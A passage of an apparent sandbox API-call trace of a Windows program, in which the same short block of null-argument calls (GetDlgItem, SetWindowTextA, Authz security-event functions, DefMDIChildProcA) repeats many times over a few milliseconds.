0x0 [0025.547] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.547] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.547] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.547] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.547] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.547] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.547] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.547] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.547] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.547] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.548] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.548] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.548] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.548] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.548] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.548] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.548] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.548] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.548] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.548] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.548] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.549] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.549] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.549] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.549] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.549] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.549] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.549] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.549] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.549] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.549] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.549] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.549] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.550] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.550] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.550] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.550] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.550] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.550] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.550] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.550] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.550] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.550] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.550] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.551] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.551] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.551] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.551] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.551] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.551] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.551] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.551] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.551] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.551] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.551] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.551] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.552] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.552] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.552] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.552] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.552] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.552] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.552] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.552] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.552] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.552] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.552] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.552] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.553] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.553] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.553] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.553] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.553] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.553] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.553] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.553] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.553] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.553] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.554] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.554] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] 